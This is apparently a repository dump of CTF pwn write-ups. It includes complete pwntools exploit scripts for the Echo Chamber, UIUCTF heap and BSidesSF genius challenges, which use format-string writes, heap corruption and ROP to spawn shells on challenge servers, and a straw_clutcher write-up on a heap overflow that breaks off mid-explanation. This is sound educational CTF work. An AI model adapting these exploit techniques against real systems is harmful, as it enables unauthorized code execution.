--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/gets_comment.png
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/screens/main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/main.png
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/screens/open_flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/open_flag.png
--------------------------------------------------------------------------------
/2018/P.W.N. CTF/pwn/echochamber/README.md:
--------------------------------------------------------------------------------
1 | # P.W.N. CTF
2 |
3 | ## _Echo Chamber_
4 |
5 | ## Information
6 |
7 | **Category:** | **Points:** | **Solves** | **Writeup Author**
8 | --- | --- | --- | ---
9 | PWN | 552 | 8 | merrychap
10 |
11 | **Description:**
12 |
13 | > Echo chambers are a thing nowadays. Flag in /opt.
14 |
15 | `nc echochamber.uni.hctf.fun 13374 `
16 |
17 |
18 | ## TLDR Solution
19 |
20 | [echo_chamber](./echo_chamber)
21 |
22 | [libc.so.6](./libc.so.6)
23 |
24 | [ld-linux.so.2](./ld-linux.so.2)
25 |
26 |
27 | There were basically two different approaches to exploit the binary (at least, I found two of them).
28 |
29 | 1. The first one: Produce a double free attack in the echo loop using format string bug. After this, still in the echo loop, manage the `malloc` to allocate in the same chunk that was freed earlier. Quit from the echo loop and produce fastbin-like attack in tcache, allocating in `__free_hook`, writing `one_gadget` address there.
30 |
31 | 2. The second one: In the echo loop, use stack address chains to be able to write anywhere in the memory. Then just overwrite RET with the `system` address and RET+8 with the `/bin/sh` address in the given libc.
32 |
33 | I decided to implement the second one exploit. The first one I found after the CTF ended.
34 |
35 | ```python
36 | from time import sleep
37 |
38 | from pwn import *
39 |
40 |
41 | def main():
42 | libc = ELF('./libc.so.6')
43 |
44 | pc = remote('echochamber.uni.hctf.fun', 13374)
45 |
46 | raw_input()
47 |
48 | pc.recvline()
49 |
50 | pc.sendline('%1$x')
51 | stack = int(pc.recv(10), 16) - 40
52 | print 'stack @ ' + hex(stack)
53 |
54 | pc.sendline('%5$x')
55 | text_base = int(pc.recv(10), 16) - 0x2029
56 | print 'text_base @ ' + hex(text_base)
57 |
58 | # 10 is an offset for buffer
59 | pc.sendline('%10$x')
60 | heap_base = int(pc.recv(10), 16) - 0x240
61 | print 'heap_base @ ' + hex(heap_base)
62 |
63 | pc.sendline('%19$x')
64 | libc_base = int(pc.recv(10), 16) - 241 - libc.symbols['__libc_start_main']
65 | print 'libc_base @ ' + hex(libc_base)
66 | print
67 |
68 | print '1. become ' + hex((stack + 56) & 0xffff)
69 | print '2. become ' + hex((stack + 98) & 0xffff)
70 |
71 | target1 = libc_base + libc.symbols['system']
72 | target2 = libc_base + list(libc.search('/bin/sh'))[0]
73 |
74 | pc.sendline('A' * 32)
75 |
76 | # 61 is the offset for the server, but
77 | # 62 is for the local exploitation
78 | pc.sendline('%{}x%25$hn'.format((stack + 56) & 0xffff))
79 | pc.sendline('%{}x%14$hn'.format((stack + 92) & 0xffff))
80 | pc.sendline('%{}x%61$hn'.format((stack + 98) & 0xffff))
81 | pc.sendline('%{}x%14$hn'.format((stack + 92) >> 16))
82 | pc.sendline('%{}x%61$hn'.format((stack + 96) & 0xffff))
83 | pc.sendline('%{}x%24$hn'.format((target1) & 0xffff))
84 | pc.sendline('%{}x%14$hn'.format((stack + 92 + 2) & 0xffff))
85 | pc.sendline('%{}x%24$hn'.format((target1) >> 16))
86 |
87 | pc.sendline('%{}x%61$hn'.format((stack + 100) & 0xffff))
88 | pc.sendline('%{}x%14$hn'.format(target2 & 0xffff))
89 | pc.sendline('%{}x%61$hn'.format((stack + 100+2) & 0xffff))
90 | pc.sendline('%{}x%14$hn'.format((target2 >> 16) & 0xffff))
91 | pc.sendline('%{}x%61$hn'.format((stack + 96) & 0xffff))
92 |
93 | pc.sendline('q')
94 |
95 | pc.sendlineafter('Was it fun?', 'A')
96 | pc.sendlineafter('Would you echo again?', 'A')
97 |
98 | pc.interactive()
99 |
100 |
101 | if __name__ == '__main__':
102 | main()
103 | ```
104 |
105 | > flag{something_with_tcache_ga48ghydgja}
--------------------------------------------------------------------------------
/2018/P.W.N. CTF/pwn/echochamber/echo_chamber:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/P.W.N. CTF/pwn/echochamber/echo_chamber
--------------------------------------------------------------------------------
/2018/P.W.N. CTF/pwn/echochamber/ld-linux.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/P.W.N. CTF/pwn/echochamber/ld-linux.so.2
--------------------------------------------------------------------------------
/2018/P.W.N. CTF/pwn/echochamber/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/P.W.N. CTF/pwn/echochamber/libc.so.6
--------------------------------------------------------------------------------
/2018/UIUCTF 2018/pwn/heap/README.md:
--------------------------------------------------------------------------------
1 | ## TL;DR
2 | This is about exploiting a heap as a data structure. Negative size of elements on the heap allows to overwrite size of the heap itself to point somewhere above. It allows to write rop chain and after this overwrite RET with stack pivot gadget to point to rop chain.
3 |
4 | [Exploit](./exploit.py):
5 |
6 | ```python
7 | import struct
8 |
9 | from pwn import *
10 |
11 |
12 | payload = ''
13 |
14 |
15 | def to_addr(n):
16 | return struct.pack('Q', n)
17 |
18 |
19 | def to_n(addr):
20 | return struct.unpack('Q', addr)[0]
21 |
22 |
23 | def line_up(pc):
24 | global payload
25 |
26 | pc.sendlineafter('Choice: ', '0')
27 | payload += '0\n'
28 |
29 |
30 | def do_head_count(pc):
31 | global payload
32 |
33 | pc.sendlineafter('Choice: ', '1')
34 | payload += '1\n'
35 |
36 |
37 | def create_char(pc, name, age, inter=False):
38 | global payload
39 |
40 | if inter:
41 | pc.interactive()
42 | else:
43 | pc.sendlineafter('Choice: ', '2')
44 | pc.sendlineafter('name?', name)
45 | pc.sendlineafter('age?', str(age))
46 |
47 | payload += '2\n{}\n{}\n'.format(name, str(age))
48 |
49 |
50 | def delete(pc):
51 | global payload
52 |
53 | pc.sendlineafter('Choice: ', '3')
54 | payload += '3\n'
55 |
56 |
57 | def main(pc, libc):
58 |
59 | binsh = list(libc.search('/bin/sh'))[0]
60 | setvbuf_of = 0x201FC0
61 | pop_rdi = 0x11c3
62 | pivot = 0xb29
63 |
64 | print(hex(libc.symbols['system']), hex(binsh))
65 |
66 | create_char(pc, 'OOOO', 0xf0)
67 | create_char(pc, 'FFFF', 0x60)
68 | create_char(pc, 'DDDD', 0x40)
69 | create_char(pc, 'BBBB', 0x20)
70 | create_char(pc, 'EEEE', 0x50)
71 |
72 | delete(pc)
73 | delete(pc)
74 | delete(pc)
75 | delete(pc)
76 | delete(pc)
77 | delete(pc)
78 |
79 | line_up(pc)
80 |
81 | create_char(pc, 'A', -16)
82 |
83 | delete(pc)
84 |
85 | do_head_count(pc)
86 |
87 | delete(pc)
88 |
89 | pc.recvline()
90 | system = to_n(pc.recvline()[:6] + '\x00\x00') - libc.symbols['printf'] - 166 + libc.symbols['system']
91 | binsha = system - libc.symbols['system'] + binsh
92 | print('System addr: ' + hex(system))
93 | print('/bin/sh addr: ' + hex(binsha))
94 |
95 | delete(pc)
96 | delete(pc)
97 |
98 | line_up(pc)
99 |
100 | create_char(pc, 'A', -141)
101 | delete(pc)
102 |
103 | do_head_count(pc)
104 |
105 | delete(pc)
106 |
107 | pc.recvline()
108 | base_code = to_n(pc.recvline()[:6] + '\x00\x00') - 0x459
109 | setvbuf = base_code + setvbuf_of
110 | print('base addr: ' + hex(base_code))
111 | print('setvbuf: ' + hex(setvbuf))
112 |
113 | delete(pc)
114 | delete(pc)
115 |
116 | line_up(pc)
117 |
118 | create_char(pc, 'A', -18)
119 |
120 | delete(pc)
121 |
122 | do_head_count(pc)
123 |
124 | delete(pc)
125 |
126 | pc.recvline()
127 | stack = to_n(pc.recvline()[:6] + '\x00\x00')
128 | towrite = stack - 1376
129 |
130 | print('Stack: ' + hex(stack))
131 | print('To write: ' + hex(towrite))
132 |
133 |
134 | delete(pc)
135 | delete(pc)
136 |
137 | line_up(pc)
138 |
139 | create_char(pc, 'A', -56)
140 |
141 | raw_input()
142 |
143 | create_char(pc, to_addr(base_code + pop_rdi), 0x42424242)
144 | create_char(pc, to_addr(system), binsha)
145 |
146 | do_head_count(pc)
147 |
148 | delete(pc)
149 | delete(pc)
150 |
151 | line_up(pc)
152 |
153 | print('Gadget: ' + hex(base_code + pivot))
154 |
155 | create_char(pc, 'A', -3)
156 | create_char(pc, to_addr(base_code + pivot), towrite)
157 |
158 | pc.interactive()
159 |
160 |
161 | if __name__ == '__main__':
162 | # libc = ELF('/lib/x86_64-linux-gnu/libc-2.25.so')
163 | libc = ELF('./libc-2.26.so')
164 |
165 | # pc = process('./how2heap')
166 | # pc = remote('challenges1.uiuc.tf', 38910)
167 | pc = remote('159.89.8.102', 38910)
168 |
169 | main(pc, libc)
170 | ```
--------------------------------------------------------------------------------
/2018/UIUCTF 2018/pwn/heap/exploit.py:
--------------------------------------------------------------------------------
1 | import struct
2 |
3 | from pwn import *
4 |
5 |
6 | payload = ''
7 |
8 |
9 | def to_addr(n):
10 | return struct.pack('Q', n)
11 |
12 |
13 | def to_n(addr):
14 | return struct.unpack('Q', addr)[0]
15 |
16 |
17 | def line_up(pc):
18 | global payload
19 |
20 | pc.sendlineafter('Choice: ', '0')
21 | payload += '0\n'
22 |
23 |
24 | def do_head_count(pc):
25 | global payload
26 |
27 | pc.sendlineafter('Choice: ', '1')
28 | payload += '1\n'
29 |
30 |
31 | def create_char(pc, name, age, inter=False):
32 | global payload
33 |
34 | if inter:
35 | pc.interactive()
36 | else:
37 | pc.sendlineafter('Choice: ', '2')
38 | pc.sendlineafter('name?', name)
39 | pc.sendlineafter('age?', str(age))
40 |
41 | payload += '2\n{}\n{}\n'.format(name, str(age))
42 |
43 |
44 | def delete(pc):
45 | global payload
46 |
47 | pc.sendlineafter('Choice: ', '3')
48 | payload += '3\n'
49 |
50 |
51 | def main(pc, libc):
52 |
53 | binsh = list(libc.search('/bin/sh'))[0]
54 | setvbuf_of = 0x201FC0
55 | pop_rdi = 0x11c3
56 | pivot = 0xb29
57 |
58 | print(hex(libc.symbols['system']), hex(binsh))
59 |
60 | create_char(pc, 'OOOO', 0xf0)
61 | create_char(pc, 'FFFF', 0x60)
62 | create_char(pc, 'DDDD', 0x40)
63 | create_char(pc, 'BBBB', 0x20)
64 | create_char(pc, 'EEEE', 0x50)
65 |
66 | delete(pc)
67 | delete(pc)
68 | delete(pc)
69 | delete(pc)
70 | delete(pc)
71 | delete(pc)
72 |
73 | line_up(pc)
74 |
75 | create_char(pc, 'A', -16)
76 |
77 | delete(pc)
78 |
79 | do_head_count(pc)
80 |
81 | delete(pc)
82 |
83 | pc.recvline()
84 | system = to_n(pc.recvline()[:6] + '\x00\x00') - libc.symbols['printf'] - 166 + libc.symbols['system']
85 | binsha = system - libc.symbols['system'] + binsh
86 | print('System addr: ' + hex(system))
87 | print('/bin/sh addr: ' + hex(binsha))
88 |
89 | delete(pc)
90 | delete(pc)
91 |
92 | line_up(pc)
93 |
94 | create_char(pc, 'A', -141)
95 | delete(pc)
96 |
97 | do_head_count(pc)
98 |
99 | delete(pc)
100 |
101 | pc.recvline()
102 | base_code = to_n(pc.recvline()[:6] + '\x00\x00') - 0x459
103 | setvbuf = base_code + setvbuf_of
104 | print('base addr: ' + hex(base_code))
105 | print('setvbuf: ' + hex(setvbuf))
106 |
107 | delete(pc)
108 | delete(pc)
109 |
110 | line_up(pc)
111 |
112 | create_char(pc, 'A', -18)
113 |
114 | delete(pc)
115 |
116 | do_head_count(pc)
117 |
118 | delete(pc)
119 |
120 | pc.recvline()
121 | stack = to_n(pc.recvline()[:6] + '\x00\x00')
122 | towrite = stack - 1376
123 |
124 | print('Stack: ' + hex(stack))
125 | print('To write: ' + hex(towrite))
126 |
127 |
128 | delete(pc)
129 | delete(pc)
130 |
131 | line_up(pc)
132 |
133 | create_char(pc, 'A', -56)
134 |
135 | raw_input()
136 |
137 | create_char(pc, to_addr(base_code + pop_rdi), 0x42424242)
138 | create_char(pc, to_addr(system), binsha)
139 |
140 | do_head_count(pc)
141 |
142 | delete(pc)
143 | delete(pc)
144 |
145 | line_up(pc)
146 |
147 | print('Gadget: ' + hex(base_code + pivot))
148 |
149 | create_char(pc, 'A', -3)
150 | create_char(pc, to_addr(base_code + pivot), towrite)
151 |
152 | pc.interactive()
153 |
154 |
155 | if __name__ == '__main__':
156 | # libc = ELF('/lib/x86_64-linux-gnu/libc-2.25.so')
157 | libc = ELF('./libc-2.26.so')
158 |
159 | # pc = process('./how2heap')
160 | # pc = remote('challenges1.uiuc.tf', 38910)
161 | pc = remote('159.89.8.102', 38910)
162 |
163 | main(pc, libc)
--------------------------------------------------------------------------------
/2018/UIUCTF 2018/pwn/heap/how2heap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/UIUCTF 2018/pwn/heap/how2heap
--------------------------------------------------------------------------------
/2018/UIUCTF 2018/pwn/heap/libc-2.26.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/UIUCTF 2018/pwn/heap/libc-2.26.so
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/exploit.py:
--------------------------------------------------------------------------------
1 | import time
2 |
3 | from pwn import *
4 |
5 |
6 | magic_dict = {
7 | 0b0000: 'A',
8 | 0b1000: 'E',
9 | 0b0100: 'G',
10 | 0b0101: 'I',
11 | 0b1100: 'K',
12 | 0b0011: 'L',
13 | 0b1111: 'N',
14 | 0b1001: 'O',
15 | 0b0001: 'P',
16 | 0b1101: 'S',
17 | 0b0110: 'T',
18 | 0b1011: 'U',
19 | 0b1110: 'V',
20 | 0b1010: 'X',
21 | 0b0111: 'Y',
22 | 0b0010: 'Z'
23 | }
24 |
25 |
26 | def gen_input(addr, val):
27 | b1 = (val & 0b111) | ((val & 0b10000000) >> 4)
28 | b2 = ((val & 0b1110000) >> 4) | ((addr & 0b10000000) >> 4)
29 | b3 = ((addr & 0b1110000) >> 4)
30 | b4 = ((addr & 0b111000000000000) >> 12) | ((addr & 0b1000))
31 | b5 = ((addr & 0b100000000000) >> 8) | (addr & 0b111)
32 | b6 = ((addr & 0b11100000000) >> 8) | ((val & 0b1000))
33 |
34 | return magic_dict[b1] + \
35 | magic_dict[b2] + \
36 | magic_dict[b3] + \
37 | magic_dict[b4] + \
38 | magic_dict[b5] + \
39 | magic_dict[b6]
40 |
41 |
42 | REMOTE = False
43 |
44 | def main():
45 | if REMOTE:
46 | pc = remote('genius-0a835449.challenges.bsidessf.net', 1338)
47 | pc.sendlineafter('continue!\n', gen_input(0x154c, 0xab))
48 | pc.sendlineafter('', gen_input(0x1551, 0x8b))
49 | else:
50 | pc = process('./loader')
51 | pc.sendlineafter('continue!\n', gen_input(0x154c, 0xab))
52 | pc.sendlineafter('', gen_input(0x1551, 0x8b))
53 |
54 | pc.recvuntil('+----------+')
55 | pc.recvuntil('+----------+')
56 | ##
57 | ##
58 | pc.sendline('d')
59 | pc.sendline('d')
60 | pc.sendline('d')
61 | pc.sendline('d')
62 | pc.sendline('d')
63 | pc.sendline('s')
64 |
65 | pc.recvuntil('+----------+')
66 | pc.recvuntil('+----------+')
67 |
68 | #
69 | ##
70 | #
71 | pc.sendline('d')
72 | pc.sendline('d')
73 | pc.sendline('d')
74 | pc.sendline('d')
75 | pc.sendline('d')
76 | pc.sendline('d')
77 | pc.sendline('s')
78 |
79 | pc.recvuntil('+----------+')
80 | pc.recvuntil('+----------+')
81 |
82 | #
83 | ###
84 | pc.sendline('a')
85 | pc.sendline('a')
86 | pc.sendline('a')
87 | pc.sendline('a')
88 | pc.sendline('a')
89 | pc.sendline('a')
90 | pc.sendline('a')
91 | pc.sendline('s')
92 |
93 | pc.recvuntil('+----------+')
94 | pc.recvuntil('+----------+')
95 |
96 | #
97 | ###
98 | pc.sendline('e')
99 | pc.sendline('d')
100 | pc.sendline('d')
101 | pc.sendline('d')
102 | pc.sendline('d')
103 | pc.sendline('d')
104 | pc.sendline('d')
105 | pc.sendline('s')
106 |
107 | pc.recvuntil('+----------+')
108 | pc.recvuntil('+----------+')
109 |
110 | ##
111 | ##
112 | pc.sendline('d')
113 | pc.sendline('d')
114 | pc.sendline('d')
115 | pc.sendline('d')
116 | pc.sendline('d')
117 | pc.sendline('d')
118 | pc.sendline('d')
119 | pc.sendline('s')
120 |
121 | pc.recvuntil('+----------+')
122 | pc.recvuntil('+----------+')
123 |
124 | #
125 | ##
126 | #
127 | pc.sendline('s')
128 |
129 | pc.recvuntil('+----------+')
130 | pc.recvuntil('+----------+')
131 |
132 | #
133 | ##
134 | #
135 | pc.sendline('s')
136 |
137 | pc.recvuntil('+----------+')
138 | pc.recvuntil('+----------+')
139 |
140 | #
141 | ###
142 | pc.sendline('q')
143 | pc.sendline('d')
144 | pc.sendline('d')
145 | pc.sendline('d')
146 | pc.sendline('s')
147 |
148 | pc.recvuntil('+----------+')
149 | pc.recvuntil('+----------+')
150 |
151 | ##
152 | ##
153 | pc.sendline('d')
154 | pc.sendline('d')
155 | pc.sendline('s')
156 |
157 | pc.recvuntil('+----------+')
158 | pc.recvuntil('+----------+')
159 |
160 | #
161 | ##
162 | #
163 | pc.sendline('a')
164 | pc.sendline('a')
165 | pc.sendline('a')
166 | pc.sendline('a')
167 | pc.sendline('a')
168 | pc.sendline('a')
169 | pc.sendline('s')
170 |
171 | pc.recvuntil('+----------+')
172 | pc.recvuntil('+----------+')
173 |
174 | #
175 | ###
176 | pc.sendline('e')
177 | pc.sendline('a')
178 | pc.sendline('a')
179 | pc.sendline('s')
180 |
181 | pc.recvuntil('+----------+')
182 | pc.recvuntil('+----------+')
183 |
184 | #
185 | ###
186 | pc.sendline('e')
187 | pc.sendline('d')
188 | pc.sendline('d')
189 | pc.sendline('s')
190 |
191 | pc.recvuntil('+----------+')
192 | pc.recvuntil('+----------+')
193 |
194 | #
195 | ###
196 | pc.sendline('q')
197 | pc.sendline('d')
198 | pc.sendline('d')
199 | pc.sendline('d')
200 | pc.sendline('d')
201 | pc.sendline('s')
202 |
203 | pc.recvuntil('+----------+')
204 | pc.recvuntil('+----------+')
205 |
206 | #
207 | ##
208 | #
209 | pc.sendline('d')
210 | pc.sendline('s')
211 |
212 | pc.recvuntil('+----------+')
213 | pc.recvuntil('+----------+')
214 |
215 | #
216 | ###
217 | pc.sendline('q')
218 | pc.sendline('a')
219 | pc.sendline('a')
220 | pc.sendline('a')
221 | pc.sendline('a')
222 | pc.sendline('a')
223 | pc.sendline('s')
224 |
225 | pc.recvuntil('+----------+')
226 | pc.recvuntil('+----------+')
227 |
228 | ####
229 | pc.sendline('q')
230 | pc.sendline('d')
231 | pc.sendline('d')
232 | # pc.sendline('s')
233 |
234 | for i in range(13):
235 | pc.recvuntil('+----------+')
236 | pc.recvuntil('+----------+')
237 | pc.sendline('d')
238 | pc.sendline('s')
239 |
240 | pc.recvuntil('+----------+')
241 | pc.recvuntil('+----------+')
242 |
243 | #
244 | ##
245 | #
246 | pc.sendline('d')
247 | pc.sendline('d')
248 | pc.sendline('s')
249 | pc.recvuntil('+----------+')
250 | pc.recvuntil('+----------+')
251 |
252 | ##
253 | ##
254 | pc.sendline('a')
255 | pc.sendline('s')
256 | pc.recvuntil('+----------+')
257 | pc.recvuntil('+----------+')
258 |
259 | #
260 | ###
261 | pc.sendline('q')
262 | pc.sendline('q')
263 | pc.sendline('s')
264 | pc.recvuntil('+----------+')
265 | pc.recvuntil('+----------+')
266 |
267 | #
268 | ###
269 | pc.sendline('d')
270 | pc.sendline('s')
271 | pc.recvuntil('+----------+')
272 | pc.recvuntil('+----------+')
273 |
274 | #
275 | ##
276 | #
277 | pc.sendline('d')
278 | pc.sendline('d')
279 | pc.sendline('d')
280 | pc.sendline('d')
281 | pc.sendline('s')
282 | pc.recvuntil('+----------+')
283 | pc.recvuntil('+----------+')
284 |
285 | ####
286 | pc.sendline('q')
287 | pc.sendline('d')
288 | pc.sendline('d')
289 | pc.sendline('d')
290 | pc.sendline('d')
291 | pc.sendline('d')
292 | pc.sendline('s')
293 | pc.recvuntil('+----------+')
294 | pc.recvuntil('+----------+')
295 |
296 | #
297 | ###
298 | pc.sendline('e')
299 | pc.sendline('e')
300 | pc.sendline('a')
301 | pc.sendline('s')
302 | pc.recvuntil('+----------+')
303 | pc.recvuntil('+----------+')
304 |
305 | #
306 | ###
307 | pc.sendline('e')
308 | pc.sendline('d')
309 | pc.sendline('d')
310 | pc.sendline('s')
311 | pc.recvuntil('+----------+')
312 | pc.recvuntil('+----------+')
313 |
314 | #
315 | ###
316 | pc.sendline('q')
317 | pc.sendline('d')
318 | pc.sendline('d')
319 | pc.sendline('d')
320 | pc.sendline('d')
321 | pc.sendline('d')
322 | pc.sendline('d')
323 | pc.sendline('s')
324 | pc.recvuntil('+----------+')
325 | pc.recvuntil('+----------+')
326 |
327 | #
328 | ###
329 | pc.sendline('a')
330 | pc.sendline('a')
331 | pc.sendline('s')
332 | pc.recvuntil('+----------+')
333 | pc.recvuntil('+----------+')
334 |
335 | #
336 | ###
337 | pc.sendline('s')
338 | pc.recvuntil('+----------+')
339 | pc.recvuntil('+----------+')
340 |
341 | #
342 | ###
343 | pc.sendline('a')
344 | pc.sendline('a')
345 | pc.sendline('a')
346 | pc.sendline('a')
347 | pc.sendline('q')
348 | pc.sendline('a')
349 | pc.sendline('a')
350 | for i in range(8):
351 | pc.recvuntil('+----------+')
352 | pc.recvuntil('+----------+')
353 | pc.sendline('d')
354 | pc.sendline('s')
355 | pc.recvuntil('+----------+')
356 | pc.recvuntil('+----------+')
357 |
358 | pc.sendline('s')
359 | pc.recvuntil('+----------+')
360 | pc.recvuntil('+----------+')
361 |
362 |
363 | pc.interactive()
364 |
365 |
366 | if __name__ == '__main__':
367 | main()
368 |
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/genius:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/genius
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/loader:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/loader
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/apply_patch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/apply_patch.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/before_patch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/before_patch.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/execute.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/execute.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/first_genius.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/first_genius.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/get_point.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/get_point.jpg
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/get_shell.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/get_shell.jpg
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/patched.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/patched.jpg
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/read_binary.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/read_binary.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/second_genius.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/second_genius.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/sh_in_map.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/sh_in_map.jpg
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/genius/screens/switches.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/genius/screens/switches.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/straw_clutcher/README.md:
--------------------------------------------------------------------------------
1 | # BSidesSF 2019 CTF
2 |
3 | ## straw_clutcher
4 |
5 | ## Information
6 |
7 | **Category** | **Points** | **Solves** | **Writeup Author**
8 | --- | --- | --- | ---
9 | PWN | 400 | 4 | [merrychap](https://github.com/merrychap)
10 |
11 | **Description:**
12 |
13 | > Location - straw-clutcher-717c5694.challenges.bsidessf.net:4321
14 |
15 | **Files:**
16 |
17 | [straw-clutcher](./straw-clutcher)
18 |
19 | ## General information
20 |
21 | The binary was really crazy for pwn challenge :D
22 |
23 | There are a lot of code, but if you spend enough time on it, then it wouldn't be a problem to find the bug. But first things first.
24 |
25 | ## Reversing the binary
26 |
27 |
28 |
29 |
30 |
31 | So, there is a global buffer for user input which is allocated on a heap. After we input data, it's compared in some obfuscated way with characters. I will not cover reverse part here, because it's not very complicated and you can do it by your own. Most of the code here is different input validations, so this is not very interesting
32 |
33 | The binary is kinda file transfer server and there are several actions we can produce (all "files" are memory structures and not the "real" files):
34 |
35 | - `PUT [FILENAME] [FILE SIZE]` - creates a file with the specified filename and size. After this, we read data into the created file.
36 |
37 | - `RENAME [OLD FILENAME] [NEW FILENAME]` - rename a file
38 |
39 | - `DELE [FILENAME]` - delete specified file. It also frees the data that were allocated for this file
40 |
41 | - `RETR [FILNAME]` - print file's data
42 |
43 | - `TRUNC [FILENAME] [NEW SIZE]` - truncates the size of a specified file.
44 |
45 | Okay, you can play now with the server to understand the functionality more deeply.
46 |
47 | By the way, files are basically linked-list and each file has a pointer to the previous file structure. Hence, when it iterates through the files, it starts with the last one and goes up to the first.
48 |
49 | ## Vulnerability
50 |
51 | After looking around the code searching for the vuln I found some interesting place in `RENAME` function:
52 |
53 |
54 |
55 |
56 |
57 | First of all, we check `old_name` length and force it can't be longer than `0x1f`. And then the same for `new_name`, but... We check `old_name` again instead of `new_name` length. That's the vuln - __heap overflow__.
58 |
59 | Now, let's explore the file structure (I suppose everything should be clear):
60 |
61 | ```c
62 | struct file_t {
63 | char filename[0x20];
64 | unsigned long file_size;
65 | char *data;
66 | long free_option; /* clear a chunk via munmap or free */
67 | struct file_t *prev_file;
68 | };
69 | ```
70 |
71 | So, by overflowing filename we can overwrite `file_size, `data` and `prev_file` fields.
72 |
73 | By the way, thanks to [iddm](gyiddm@gmail.com) to point me out that free_option is actually present in the structure (previously I wrote that this a dummy structure field and isn't used in the binary, but I obviously was wrong)
74 |
75 |
76 | ## Leaking addresses
77 |
78 | First of all, we want to leak some addresses, so let's start with `file_size`. By writing some big number into `file_size` and then calling `RETR` we can leak everything on the heap below the current chunk. Libc address can be leaked by creating unsorted bin chunk below the target chunk and heap addresses can be leaked by just creating some new file below the target. Cool, we have `libc` and `heap` addresses.
79 |
80 | ## Spawning the shell
81 |
82 | I forgot to say that there are some constraints on the filename, namely, `[A-Za-z0-9]+.[A-Za-z0-9]{3}` or something like this.
83 |
84 | My main target was overwriting `__malloc_hook` with `one_gadget`, so we need to achieve fastbin attack. To do this, double free will be the best choice. When we delete a file something like this happens:
85 |
86 | ```c
87 | free(file->data);
88 | free(file);
89 | ```
90 |
91 | So we can try to create a fake chunk `fake_file` where `fake_file->data` will point to some freed chunk with `0x70` size. Hence, it's double free and fastbin attack can be performed.
92 |
